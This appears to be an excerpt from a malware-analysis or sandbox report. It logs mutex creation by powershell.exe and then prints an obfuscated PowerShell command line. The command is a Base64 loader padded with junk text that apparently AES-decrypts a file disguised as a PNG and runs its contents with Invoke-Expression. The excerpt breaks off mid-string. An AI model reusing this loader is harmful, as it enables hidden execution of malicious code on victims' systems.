powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7016:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_01"36:T78d0,Process "powershell.exe" with commandline "-Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('KZLZOBKUATJABpAG4AcAKZLZOBKUATB1AHQAQgBhKZLZOBKUATAHMAZQA2ADKZLZOBKUATQARgBpAGwAKZLZOBKUATZQBQAGEAdAKZLZOBKUATBoACAAPQAgKZLZOBKUATACIAQwA6AFKZLZOBKUATwAVQBzAGUAKZLZOBKUATcgBzAFwAUAKZLZOBKUATBVAEIATABJKZLZOBKUATAEMAXABYAHKZLZOBKUATIAaQBvAC4AKZLZOBKUATcABuAGcAIgKZLZOBKUATANAAoADQAKKZLZOBKUATACMAIABDAHKZLZOBKUATIAZQBhAHQAKZLZOBKUATZQAgAGEAIAKZLZOBKUATBuAGUAdwAgKZLZOBKUATAEEARQBTACKZLZOBKUATAAbwBiAGoAKZLZOBKUATZQBjAHQADQKZLZOBKUATAKACQAYQBlKZLZOBKUATAHMAXwB2AGKZLZOBKUATEAcgAgAD0AKZLZOBKUATIABbAFMAeQKZLZOBKUATBzAHQAZQBtKZLZOBKUATAC4AUwBlAGKZLZOBKUATMAdQByAGkAKZLZOBKUATdAB5AC4AQwKZLZOBKUATByAHkAcAB0KZLZOBKUATAG8AZwByAGKZLZOBKUATEAcABoAHkAKZLZOBKUATLgBBAGUAcwKZLZOBKUATBdADoAOgBDKZLZOBKUATAHIAZQBhAHKZLZOBKUATQAZQAoACkAKZLZOBKUATDQAKAA0ACgKZLZOBKUATAjACAAUwBlKZLZOBKUATAHQAIABBAEKZLZOBKUATUAUwAgAHAAKZLZOBKUATYQByAGEAbQKZLZOBKUATBlAHQAZQByKZLZOBKUATAHMADQAKACKZLZOBKUATQAYQBlAHMAKZLZOBKUATXwB2AGEAcgKZLZOBKUATAuAE0AbwBkKZLZOBKUATAGUAIAA9ACKZLZOBKUATAAWwBTAHkAKZLZOBKUATcwB0AGUAbQKZLZOBKUATAuAFMAZQBjKZLZOBKUATAHUAcgBpAHKZLZOBKUATQAeQAuAEMAKZLZOBKUATcgB5AHAAdAKZLZOBKUATBvAGcAcgBhKZLZOBKUATAHAAaAB5ACKZLZOBKUAT4AQwBpAHAAKZLZOBKUATaABlAHIATQKZLZOBKUATBvAGQAZQBdKZLZOBKUATADoAOgBDAEKZLZOBKUATIAQwANAAoAKZLZOBKUATJABhAGUAcwKZLZOBKUATBfAHYAYQByKZLZOBKUATAC4AUABhAGKZLZOBKUATQAZABpAG4AKZLZOBKUATZwAgAD0AIAKZLZOBKUATBbAFMAeQBzKZLZOBKUATAHQAZQBtACKZLZOBKUAT4AUwBlAGMAKZLZOBKUATdQByAGkAdAKZLZOBKUATB5AC4AQwByKZLZOBKUATAHkAcAB0AGKZLZOBKUAT8AZwByAGEAKZLZOBKUATcABoAHkALgKZLZOBKUATBQAGEAZABkKZLZOBKUATAGkAbgBnAEKZLZOBKUAT0AbwBkAGUAKZLZOBKUATXQA6ADoAUAKZLZOBKUATBLAEMAUwA3KZLZOBKUATAA0ACgAkAGKZLZOBKUATEAZQBzAF8AKZLZOBKUATdgBhAHIALgKZLZOBKUATBLAGUAeQAgKZLZOBKUATAD0AIABbAFKZLZOBKUATMAeQBzAHQAKZLZOBKUATZQBtAC4AQwKZLZOBKUATBvAG4AdgBlKZLZOBKUATAHIAdABdADKZLZOBKUAToAOgBGAHIAKZLZOBKUATbwBtAEIAYQKZLZOBKUATBzAGUANgA0KZLZOBKUATAFMAdAByAGKZLZOBKUATkAbgBnACgAKZLZOBKUATJwAxAGoAVAKZLZOBKUATBvAHEARwBxKZLZOBKUATAHIAWgBWADKZLZOBKUATUAagBLAEkAKZLZOBKUATeQAyAFgAdQKZLZOBKUATBEAHcARwBzKZLZOBKUATAGkASQBuAGKZLZOBKUATkANQArAGoAKZLZOBKUATagBvAE8AaAKZLZOBKUATBQAEQAegAzKZLZOBKUATAGkAWQBRAHKZLZOBKUATkAcgBVAD0AKZLZOBKUATJwApAA0ACgKZLZOBKUATAkAGEAZQBzKZLZOBKUATAF8AdgBhAHKZLZOBKUATIALgBJAFYAKZLZOBKUATIAA9ACAAWwKZLZOBKUATBTAHkAcwB0KZLZOBKUATAGUAbQAuAEKZLZOBKUATMAbwBuAHYAKZLZOBKUATZQByAHQAXQKZLZOBKUATA6ADoARgByKZLZOBKUATAG8AbQBCAGKZLZOBKUATEAcwBlADYAKZLZOBKUATNABTAHQAcgKZLZOBKUATBpAG4AZwAoKZLZOBKUATACcASgBPACKZLZOBKUATsAegBHAGEAKZLZOBKUATeABIAFcAbAKZLZOBKUATBlAFAALwBpKZLZOBKUATAFYAbgBWAEKZLZOBKUATMAbQBMAGoAKZLZOBKUATZwA9AD0AJwKZLZOBKUATApAA0ACgANKZLZOBKUATAAoAIwAgAFKZLZOBKUATIAZQBhAGQAKZLZOBKUATIAB0AGgAZQKZLZOBKUATAgAEIAYQBzKZLZOBKUATAGUANgA0ACKZLZOBKUAT0AZQBuAGMAKZLZOBKUATbwBkAGUAZAKZLZOBKUATAgAGUAbgBjKZLZOBKUATAHIAeQBwAHKZLZOBKUATQAZQBkACAAKZLZOBKUATZABhAHQAYQKZLZOBKUATANAAoAJABiKZLZOBKUATAGEAcwBlADKZLZOBKUATYANABTAHQAKZLZOBKUATcgBpAG4AZwKZLZOBKUATAgAD0AIABbKZLZOBKUATAFMAeQBzAHKZLZOBKUATQAZQBtAC4AKZLZOBKUATSQBPAC4ARgKZLZOBKUATBpAGwAZQBdKZLZOBKUATADoAOgBSAGKZLZOBKUATUAYQBkAEEAKZLZOBKUATbABsAFQAZQKZLZOBKUATB4AHQAKAAkKZLZOBKUATAGkAbgBwAHKZLZOBKUATUAdABCAGEAKZLZOBKUATcwBlADYANAKZLZOBKUATBGAGkAbABlKZLZOBKUATAFAAYQB0AGKZLZOBKUATgAKQANAAoAKZLZOBKUATDQAKACMAIAKZLZOBKUATBDAG8AbgB2KZLZOBKUATAGUAcgB0ACKZLZOBKUATAAQgBhAHMAKZLZOBKUATZQA2ADQAIAKZLZOBKUATBzAHQAcgBpKZLZOBKUATAG4AZwAgAHKZLZOBKUATQAbwAgAGIAKZLZOBKUATeQB0AGUAIAKZLZOBKUATBhAHIAcgBhKZLZOBKUATAHkADQAKACKZLZOBKUATQAZQBuAGMAKZLZOBKUATcgB5AHAAdAKZLZOBKUATBlAGQAQgB5KZLZOBKUATAHQAZQBzACKZLZOBKUATAAPQAgAFsAKZLZOBKUATUwB5AHMAdAKZLZOBKUATBlAG0ALgBDKZLZOBKUATAG8AbgB2AGKZLZOBKUATUAcgB0AF0AKZLZOBKUATOgA6AEYAcgKZLZOBKUATBvAG0AQgBhKZLZOBKUATAHMAZQA2ADKZLZOBKUATQAUwB0AHIAKZLZOBKUATaQBuAGcAKAKZLZOBKUATAkAGIAYQBzKZLZOBKUATAGUANgA0AFKZLZOBKUATMAdAByAGkAKZLZOBKUATbgBnACkADQKZLZOBKUATAKAA0ACgAjKZLZOBKUATACAAQwByAGKZLZOBKUATUAYQB0AGUAKZLZOBKUATIABhACAATQKZLZOBKUATBlAG0AbwByKZLZOBKUATAHkAUwB0AHKZLZOBKUATIAZQBhAG0AKZLZOBKUATIABmAHIAbwKZLZOBKUATBtACAAdABoKZLZOBKUATAGUAIABlAGKZLZOBKUAT4AYwByAHkAKZLZOBKUATcAB0AGUAZAKZLZOBKUATAgAGIAeQB0KZLZOBKUATAGUAIABhAHKZLZOBKUATIAcgBhAHkAKZLZOBKUATDQAKACQAbQKZLZOBKUATBlAG0AbwByKZLZOBKUATAHkAUwB0AHKZLZOBKUATIAZQBhAG0AKZLZOBKUATIAA9ACAAWwKZLZOBKUATBTAHkAcwB0KZLZOBKUATAGUAbQAuAEKZLZOBKUATkATwAuAE0AKZLZOBKUATZQBtAG8AcgKZLZOBKUATB5AFMAdAByKZLZOBKUATAGUAYQBtAFKZLZOBKUAT0AOgA6AG4AKZLZOBKUATZQB3ACgAKQKZLZOBKUATANAAoADQAKKZLZOBKUATACMAIABXAHKZLZOBKUATIAaQB0AGUAKZLZOBKUATIAB0AGgAZQKZLZOBKUATAgAGUAbgBjKZLZOBKUATAHIAeQBwAHKZLZOBKUATQAZQBkACAAKZLZOBKUATYgB5AHQAZQKZLZOBKUATBzACAAdABvKZLZOBKUATACAATQBlAGKZLZOBKUAT0AbwByAHkAKZLZOBKUATUwB0AHIAZQKZLZOBKUATBhAG0ADQAKKZLZOBKUATACQAbQBlAGKZLZOBKUAT0AbwByAHkAKZLZOBKUATUwB0AHIAZQKZLZOBKUATBhAG0ALgBXKZLZOBKUATAHIAaQB0AGKZLZOBKUATUAKAAkAGUAKZLZOBKUATbgBjAHIAeQKZLZOBKUATBwAHQAZQBkKZLZOBKUATAEIAeQB0AGKZLZOBKUATUAcwAsACAAKZLZOBKUATMAAsACAAJAKZLZOBKUATBlAG4AYwByKZLZOBKUATAHkAcAB0AGKZLZOBKUATUAZABCAHkAKZLZOBKUATdABlAHMALgKZLZOBKUATBMAGUAbgBnKZLZOBKUATAHQAaAApAAKZLZOBKUAT0ACgAkAG0AKZLZOBKUATZQBtAG8AcgKZLZOBKUATB5AFMAdAByKZLZOBKUATAGUAYQBtACKZLZOBKUAT4AUABvAHMAKZLZOBKUATaQB0AGkAbwKZLZOBKUATBuACAAPQAgKZLZOBKUATADAAIAAgACKZLZOBKUATMAIABSAGUAKZLZOBKUATcwBlAHQAIAKZLZOBKUATB0AGgAZQAgKZLZOBKUATAHAAbwBzAGKZLZOBKUATkAdABpAG8AKZLZOBKUATbgAgAGYAbwKZLZOBKUATByACAAcgBlKZLZOBKUATAGEAZABpAGKZLZOBKUAT4AZwANAAoAKZLZOBKUATDQAKACMAIAKZLZOBKUATBDAHIAZQBhKZLZOBKUATAHQAZQAgAGKZLZOBKUATEAIABkAGUAKZLZOBKUATYwByAHkAcAKZLZOBKUATB0AG8AcgANKZLZOBKUATAAoAJABkAGKZLZOBKUATUAYwByAHkAKZLZOBKUATcAB0AG8AcgKZLZOBKUATAgAD0AIAAkKZLZOBKUATAGEAZQBzAFKZLZOBKUAT8AdgBhAHIAKZLZOBKUATLgBDAHIAZQKZLZOBKUATBhAHQAZQBEKZLZOBKUATAGUAYwByAHKZLZOBKUATkAcAB0AG8AKZLZOBKUATcgAoACkADQKZLZOBKUATAKAA0ACgAjKZLZOBKUATACAAQwByAGKZLZOBKUATUAYQB0AGUAKZLZOBKUATIABhACAAQwKZLZOBKUATByAHkAcAB0KZLZOBKUATAG8AUwB0AHKZLZOBKUATIAZQBhAG0AKZLZOBKUATIABmAG8AcgKZLZOBKUATAgAGQAZQBjKZLZOBKUATAHIAeQBwAHKZLZOBKUATQAaQBvAG4AKZLZOBKUATDQAKACQAYwKZLZOBKUATByAHkAcAB0KZLZOBKUATAG8AUwB0AHKZLZOBKUATIAZQBhAG0AKZLZOBKUATIAA9ACAATgKZLZOBKUATBlAHcALQBPKZLZOBKUATAGIAagBlAGKZLZOBKUATMAdAAgAFMAKZLZOBKUATeQBzAHQAZQKZLZOBKUATBtAC4AUwBlKZLZOBKUATAGMAdQByAGKZLZOBKUATkAdAB5AC4AKZLZOBKUATQwByAHkAcAKZLZOBKUATB0AG8AZwByKZLZOBKUATAGEAcABoAHKZLZOBKUATkALgBDAHIAKZLZOBKUATeQBwAHQAbwKZLZOBKUATBTAHQAcgBlKZLZOBKUATAGEAbQAoACKZLZOBKUATQAbQBlAG0AKZLZOBKUATbwByAHkAUwKZLZOBKUATB0AHIAZQBhKZLZOBKUATAG0ALAAgACKZLZOBKUATQAZABlAGMAKZLZOBKUATcgB5AHAAdAKZLZOBKUATBvAHIALAAgKZLZOBKUATAFsAUwB5AHKZLZOBKUATMAdABlAG0AKZLZOBKUATLgBTAGUAYwKZLZOBKUATB1AHIAaQB0KZLZOBKUATAHkALgBDAHKZLZOBKUATIAeQBwAHQAKZLZOBKUATbwBnAHIAYQKZLZOBKUATBwAGgAeQAuKZLZOBKUATAEMAcgB5AHKZLZOBKUATAAdABvAFMAKZLZOBKUATdAByAGUAYQKZLZOBKUATBtAE0AbwBkKZLZOBKUATAGUAXQA6ADKZLZOBKUAToAUgBlAGEAKZLZOBKUATZAApAA0ACgKZLZOBKUATANAAoAIwAgKZLZOBKUATAFIAZQBhAGKZLZOBKUATQAIAB0AGgAKZLZOBKUATZQAgAGQAZQKZLZOBKUATBjAHIAeQBwKZLZOBKUATAHQAZQBkACKZLZOBKUATAAZABhAHQAKZLZOBKUATYQAgAGYAcgKZLZOBKUATBvAG0AIAB0KZLZOBKUATAGgAZQAgAEKZLZOBKUATMAcgB5AHAAKZLZOBKUATdABvAFMAdAKZLZOBKUATByAGUAYQBtKZLZOBKUATAA0ACgAkAHKZLZOBKUATMAdAByAGUAKZLZOBKUATYQBtAFIAZQKZLZOBKUATBhAGQAZQByKZLZOBKUATACAAPQAgAEKZLZOBKUAT4AZQB3AC0AKZLZOBKUATTwBiAGoAZQKZLZOBKUATBjAHQAIABTKZLZOBKUATAHkAcwB0AGKZLZOBKUATUAbQAuAEkAKZLZOBKUATTwAuAFMAdAKZLZOBKUATByAGUAYQBtKZLZOBKUATAFIAZQBhAGKZLZOBKUATQAZQByACgAKZLZOBKUATJABjAHIAeQKZLZOBKUATBwAHQAbwBTKZLZOBKUATAHQAcgBlAGKZLZOBKUATEAbQApAA0AKZLZOBKUATCgAkAGQAZQKZLZOBKUATBjAHIAeQBwKZLZOBKUATAHQAZQBkAFKZLZOBKUATMAdAByAGkAKZLZOBKUATbgBnACAAPQKZLZOBKUATAgACQAcwB0KZLZOBKUATAHIAZQBhAGKZLZOBKUAT0AUgBlAGEAKZLZOBKUATZABlAHIALgKZLZOBKUATBSAGUAYQBkKZLZOBKUATAFQAbwBFAGKZLZOBKUAT4AZAAoACkAKZLZOBKUATDQAKAA0ACgKZLZOBKUATAjACAAQwBsKZLZOBKUATAG8AcwBlACKZLZOBKUATAAcwB0AHIAKZLZOBKUATZQBhAG0AcwKZLZOBKUATANAAoAJABjKZLZOBKUATAHIAeQBwAHKZLZOBKUATQAbwBTAHQAKZLZOBKUATcgBlAGEAbQKZLZOBKUATAuAEMAbABvKZLZOBKUATAHMAZQAoACKZLZOBKUATkADQAKACQAKZLZOBKUATbQBlAG0AbwKZLZOBKUATByAHkAUwB0KZLZOBKUATAHIAZQBhAGKZLZOBKUAT0ALgBDAGwAKZLZOBKUATbwBzAGUAKAKZLZOBKUATApAA0ACgAkKZLZOBKUATAHMAdAByAGKZLZOBKUATUAYQBtAFIAKZLZOBKUATZQBhAGQAZQKZLZOBKUATByAC4AQwBsKZLZOBKUATAG8AcwBlACKZLZOBKUATgAKQANAAoAKZLZOBKUATDQAKACMAIAKZLZOBKUATBQAHIAaQBuKZLZOBKUATAHQAIAB0AGKZLZOBKUATgAZQAgAGQAKZLZOBKUATZQBjAHIAeQKZLZOBKUATBwAHQAZQBkKZLZOBKUATACAAcgBlAHKZLZOBKUATMAdQBsAHQAKZLZOBKUATDQAKACMAVwKZLZOBKUATByAGkAdABlKZLZOBKUATAC0ATwB1AHKZLZOBKUATQAcAB1AHQAKZLZOBKUATIAAiAEQAZQKZLZOBKUATBjAHIAeQBwKZLZOBKUATAHQAZQBkACKZLZOBKUATAAcgBlAHMAKZLZOBKUATdQBsAHQAOgKZLZOBKUATAiAA0ACgAjKZLZOBKUATAFcAcgBpAHKZLZOBKUATQAZQAtAE8AKZLZOBKUATdQB0AHAAdQKZLZOBKUATB0ACAAJABkKZLZOBKUATAGUAYwByAHKZLZOBKUATkAcAB0AGUAKZLZOBKUATZABTAHQAcgKZLZOBKUATBpAG4AZwANKZLZOBKUATAAoADQAKACKZLZOBKUATMAIABTAHAAKZLZOBKUATbABpAHQAIAKZLZOBKUATB0AGgAZQAgKZLZOBKUATAGQAZQBjAHKZLZOBKUATIAeQBwAHQAKZLZOBKUATZQBkACAAcwKZLZOBKUATB0AHIAaQBuKZLZOBKUATAGcAIABpAGKZLZOBKUAT4AdABvACAAKZLZOBKUATYwBvAG0AbQKZLZOBKUATBhAG4AZABzKZLZOBKUATACAAYQBzAHKZLZOBKUATMAdQBtAGkAKZLZOBKUATbgBnACAAdAKZLZOBKUATBoAGUAeQAgKZLZOBKUATAGEAcgBlACKZLZOBKUATAAcwBlAHAAKZLZOBKUATYQByAGEAdAKZLZOBKUATBlAGQAIABiKZLZOBKUATAHkAIABhACKZLZOBKUATAAbgBlAHcAKZLZOBKUATbABpAG4AZQKZLZOBKUATANAAoAIwAkKZLZOBKUATAGMAbwBtAGKZLZOBKUAT0AYQBuAGQAKZLZOBKUATcwAgAD0AIAKZLZOBKUATAkAGQAZQBjKZLZOBKUATAHIAeQBwAHKZLZOBKUATQAZQBkAFMAKZLZOBKUATdAByAGkAbgKZLZOBKUATBnACAALQBzKZLZOBKUATAHAAbABpAHKZLZOBKUATQAIAAiAGAAKZLZOBKUATbgAiAA0ACgKZLZOBKUATANAAoAIwAgKZLZOBKUATAEUAeABlAGKZLZOBKUATMAdQB0AGUAKZLZOBKUATIABlAGEAYwKZLZOBKUATBoACAAYwBvKZLZOBKUATAG0AbQBhAGKZLZOBKUAT4AZAANAAoAKZLZOBKUATIwAgAFMAcAKZLZOBKUATBsAGkAdAAgKZLZOBKUATAHQAaABlACKZLZOBKUATAAZABlAGMAKZLZOBKUATcgB5AHAAdAKZLZOBKUATBlAGQAIABzKZLZOBKUATAHQAcgBpAGKZLZOBKUAT4AZwAgAGkAKZLZOBKUATbgB0AG8AIAKZLZOBKUATBjAG8AbQBtKZLZOBKUATAGEAbgBkAHKZLZOBKUATMAIABhAHMAKZLZOBKUATcwB1AG0AaQKZLZOBKUATBuAGcAIAB0KZLZOBKUATAGgAZQB5ACKZLZOBKUATAAYQByAGUAKZLZOBKUATIABzAGUAcAKZLZOBKUATBhAHIAYQB0KZLZOBKUATAGUAZAAgAGKZLZOBKUATIAeQAgAGEAKZLZOBKUATIABuAGUAdwKZLZOBKUATBsAGkAbgBlKZLZOBKUATAA0ACgAkAGKZLZOBKUATMAbwBtAG0AKZLZOBKUATYQBuAGQAcwKZLZOBKUATAgAD0AIAAkKZLZOBKUATAGQAZQBjAHKZLZOBKUATIAeQBwAHQAKZLZOBKUATZQBkAFMAdAKZLZOBKUATByAGkAbgBnKZLZOBKUATACAALQBzAHKZLZOBKUATAAbABpAHQAKZLZOBKUATIAAiAGAAbgKZLZOBKUATAiAA0ACgANKZLZOBKUATAAoAIwAgAEKZLZOBKUATUAeABlAGMAKZLZOBKUATdQB0AGUAIAKZLZOBKUATBlAGEAYwBoKZLZOBKUATACAAYwBvAGKZLZOBKUAT0AbQBhAG4AKZLZOBKUATZAANAAoAZgKZLZOBKUATBvAHIAZQBhKZLZOBKUATAGMAaAAgACKZLZOBKUATgAJABlAG4AKZLZOBKUATYwBvAGQAZQKZLZOBKUATBkAEMAbwBtKZLZOBKUATAG0AYQBuAGKZLZOBKUATQAIABpAG4AKZLZOBKUATIAAkAGMAbwKZLZOBKUATBtAG0AYQBuKZLZOBKUATAGQAcwApACKZLZOBKUATAAewANAAoAKZLZOBKUATIAAgACAAIAKZLZOBKUATB0AHIAeQAgKZLZOBKUATAHsADQAKACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAjACAAVAByKZLZOBKUATAGkAbQAgAGKZLZOBKUATEAbgB5ACAAKZLZOBKUATdwBoAGkAdAKZLZOBKUATBlAHMAcABhKZLZOBKUATAGMAZQANAAKZLZOBKUAToAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACQAZQBuKZLZOBKUATAGMAbwBkAGKZLZOBKUATUAZABDAG8AKZLZOBKUATbQBtAGEAbgKZLZOBKUATBkACAAPQAgKZLZOBKUATACQAZQBuAGKZLZOBKUATMAbwBkAGUAKZLZOBKUATZABDAG8AbQKZLZOBKUATBtAGEAbgBkKZLZOBKUATAC4AVAByAGKZLZOBKUATkAbQAoACkAKZLZOBKUATDQAKAA0ACgKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIwAgAFYAKZLZOBKUATYQBsAGkAZAKZLZOBKUATBhAHQAZQAgKZLZOBKUATAGMAbwBtAGKZLZOBKUAT0AYQBuAGQAKZLZOBKUATIAAoAG8AcAKZLZOBKUATB0AGkAbwBuKZLZOBKUATAGEAbAAsACKZLZOBKUATAAYQBkAGoAKZLZOBKUATdQBzAHQAIAKZLZOBKUATBhAHMAIABuKZLZOBKUATAGUAZQBkAGKZLZOBKUATUAZAApAA0AKZLZOBKUATCgAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAaQBmACKZLZOBKUATAAKAAtAG4AKZLZOBKUATbwB0ACAAWwKZLZOBKUATBzAHQAcgBpKZLZOBKUATAG4AZwBdADKZLZOBKUAToAOgBJAHMAKZLZOBKUATTgB1AGwAbAKZLZOBKUATBPAHIAVwBoKZLZOBKUATAGkAdABlAFKZLZOBKUATMAcABhAGMAKZLZOBKUATZQAoACQAZQKZLZOBKUATBuAGMAbwBkKZLZOBKUATAGUAZABDAGKZLZOBKUAT8AbQBtAGEAKZLZOBKUATbgBkACkAKQKZLZOBKUATAgAHsADQAKKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACMAIABWKZLZOBKUATAGEAbABpAGKZLZOBKUATQAYQB0AGUAKZLZOBKUATIABpAGYAIAKZLZOBKUATBpAHQAIABpKZLZOBKUATAHMAIABhACKZLZOBKUATAAQgBhAHMAKZLZOBKUATZQA2ADQAIAKZLZOBKUATBzAHQAcgBpKZLZOBKUATAG4AZwANAAKZLZOBKUAToAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAaQBmACKZLZOBKUATAAKAAkAGUAKZLZOBKUATbgBjAG8AZAKZLZOBKUATBlAGQAQwBvKZLZOBKUATAG0AbQBhAGKZLZOBKUAT4AZAAgAC0AKZLZOBKUATbQBhAHQAYwKZLZOBKUATBoACAAJwBeKZLZOBKUATAFsAQQAtAFKZLZOBKUAToAYQAtAHoAKZLZOBKUATMAAtADkAKwKZLZOBKUATAvAD0AXQArKZLZOBKUATACQAJwAgACKZLZOBKUAT0AYQBuAGQAKZLZOBKUATIAAoACQAZQKZLZOBKUATBuAGMAbwBkKZLZOBKUATAGUAZABDAGKZLZOBKUAT8AbQBtAGEAKZLZOBKUATbgBkAC4ATAKZLZOBKUATBlAG4AZwB0KZLZOBKUATAGgAIAAlACKZLZOBKUATAANAAgAC0AKZLZOBKUATZQBxACAAMAKZLZOBKUATApACkAIAB7KZLZOBKUATAA0ACgAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATMAIABEAGUAKZLZOBKUATYwBvAGQAZQKZLZOBKUATAgAHQAaABlKZLZOBKUATACAAQgBhAHKZLZOBKUATMAZQA2ADQAKZLZOBKUATIABjAG8AbQKZLZOBKUATBtAGEAbgBkKZLZOBKUATAA0ACgAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATQAZABlAGMAKZLZOBKUATbwBkAGUAZAKZLZOBKUATBDAG8AbQBtKZLZOBKUATAGEAbgBkACKZLZOBKUATAAPQAgAFsAKZLZOBKUATVABlAHgAdAKZLZOBKUATAuAEUAbgBjKZLZOBKUATAG8AZABpAGKZLZOBKUAT4AZwBdADoAKZLZOBKUATOgBVAG4AaQKZLZOBKUATBjAG8AZABlKZLZOBKUATAC4ARwBlAHKZLZOBKUATQAUwB0AHIAKZLZOBKUATaQBuAGcAKAKZLZOBKUATBbAEMAbwBuKZLZOBKUATAHYAZQByAHKZLZOBKUATQAXQA6ADoAKZLZOBKUATRgByAG8AbQKZLZOBKUATBCAGEAcwBlKZLZOBKUATADYANABTAHKZLZOBKUATQAcgBpAG4AKZLZOBKUATZwAoACQAZQKZLZOBKUATBuAGMAbwBkKZLZOBKUATAGUAZABDAGKZLZOBKUAT8AbQBtAGEAKZLZOBKUATbgBkACkAKQKZLZOBKUATANAAoAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAjKZLZOBKUATACAAVwByAGKZLZOBKUATkAdABlAC0AKZLZOBKUATSABvAHMAdAKZLZOBKUATAgACIAZABvKZLZOBKUATAG4AZQAiAAKZLZOBKUAT0ACgAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACMAKZLZOBKUATIABFAHgAZQKZLZOBKUATBjAHUAdABlKZLZOBKUATACAAdABoAGKZLZOBKUATUAIABkAGUAKZLZOBKUATYwBvAGQAZQKZLZOBKUATBkACAAYwBvKZLZOBKUATAG0AbQBhAGKZLZOBKUAT4AZAANAAoAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIABJAG4AdgKZLZOBKUATBvAGsAZQAtKZLZOBKUATAEUAeABwAHKZLZOBKUATIAZQBzAHMAKZLZOBKUATaQBvAG4AIAKZLZOBKUATAkAGQAZQBjKZLZOBKUATAG8AZABlAGKZLZOBKUATQAQwBvAG0AKZLZOBKUATbQBhAG4AZAKZLZOBKUATANAAoAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgACAAfQKZLZOBKUATAgAGUAbABzKZLZOBKUATAGUAIAB7AAKZLZOBKUAT0ACgAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIwAgACAAKZLZOBKUATVwByAGkAdAKZLZOBKUATBlAC0ASABvKZLZOBKUATAHMAdAAgACKZLZOBKUATIAUwBrAGkAKZLZOBKUATcABwAGUAZAKZLZOBKUATAgAGkAbgB2KZLZOBKUATAGEAbABpAGKZLZOBKUATQAIABCAGEAKZLZOBKUATcwBlADYANAKZLZOBKUATAgAGMAbwBtKZLZOBKUATAG0AYQBuAGKZLZOBKUATQAOgAgACQAKZLZOBKUATZQBuAGMAbwKZLZOBKUATBkAGUAZABDKZLZOBKUATAG8AbQBtAGKZLZOBKUATEAbgBkACIAKZLZOBKUATDQAKACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgAH0AKZLZOBKUATDQAKACAAIAKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAB9ACKZLZOBKUATAAZQBsAHMAKZLZOBKUATZQAgAHsADQKZLZOBKUATAKACAAIAAgKZLZOBKUATACAAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIwAgACAAVwKZLZOBKUATByAGkAdABlKZLZOBKUATAC0ASABvAHKZLZOBKUATMAdAAgACIAKZLZOBKUATUwBrAGkAcAKZLZOBKUATBwAGUAZAAgKZLZOBKUATAGEAbgAgAGKZLZOBKUATUAbQBwAHQAKZLZOBKUATeQAgAGMAbwKZLZOBKUATBtAG0AYQBuKZLZOBKUATAGQALgAiAAKZLZOBKUAT0ACgAgACAAKZLZOBKUATIAAgACAAIAKZLZOBKUATAgACAAfQANKZLZOBKUATAAoAIAAgACKZLZOBKUATAAIAAgACAAKZLZOBKUATIAAgAA0ACgKZLZOBKUATAgACAAIAAgKZLZOBKUATAH0AIABjAGKZLZOBKUATEAdABjAGgAKZLZOBKUATIAB7AA0ACgKZLZOBKUATAgACAAIAAgKZLZOBKUATACAAIAAjACKZLZOBKUATAAIABXAHIAKZLZOBKUATaQB0AGUALQKZLZOBKUATBIAG8AcwB0KZLZOBKUATACAAKAAiAEKZLZOBKUATUAcgByAG8AKZLZOBKUATcgAgAGUAeAKZLZOBKUATBlAGMAdQB0KZLZOBKUATAGkAbgBnACKZLZOBKUATAAYwBvAG0AKZLZOBKUATbQBhAG4AZAKZLZOBKUATA6ACAAewAwKZLZOBKUATAH0AIgAgACKZLZOBKUAT0AZgAgACQAKZLZOBKUATXwAuAEUAeAKZLZOBKUATBjAGUAcAB0KZLZOBKUATAGkAbwBuACKZLZOBKUAT4ATQBlAHMAKZLZOBKUATcwBhAGcAZQKZLZOBKUATApAA0ACgAgKZLZOBKUATACAAIAAgAHKZLZOBKUAT0ADQAKAH0AKZLZOBKUATDQAKAA0ACgKZLZOBKUATANAAoADQAKKZLZOBKUATAA0ACgANAAKZLZOBKUAToAIwAgAEkAKZLZOBKUATbgBwAHUAdAKZLZOBKUATAgAEIAYQBzKZLZOBKUATAGUANgA0ACKZLZOBKUATAAZQBuAGMAKZLZOBKUATcgB5AHAAdAKZLZOBKUATBlAGQAIABmKZLZOBKUATAGkAbABlACKZLZOBKUATAAcABhAHQAKZLZOBKUATaAANAAoAJAKZLZOBKUATBpAG4AcAB1KZLZOBKUATAHQAQgBhAHKZLZOBKUATMAZQA2ADQAKZLZOBKUATRgBpAGwAZQKZLZOBKUATBQAGEAdABoKZLZOBKUATACAAPQAgACKZLZOBKUATIAQwA6AFwAKZLZOBKUATVQBzAGUAcgKZLZOBKUATBzAFwAUABVKZLZOBKUATAEIATABJAEKZLZOBKUATMAXABPAHIAKZLZOBKUATaQBvAC4AcAKZLZOBKUATBuAGcAIgANKZLZOBKUATAAoAJABhAGKZLZOBKUATUAcwBfAHYAKZLZOBKUA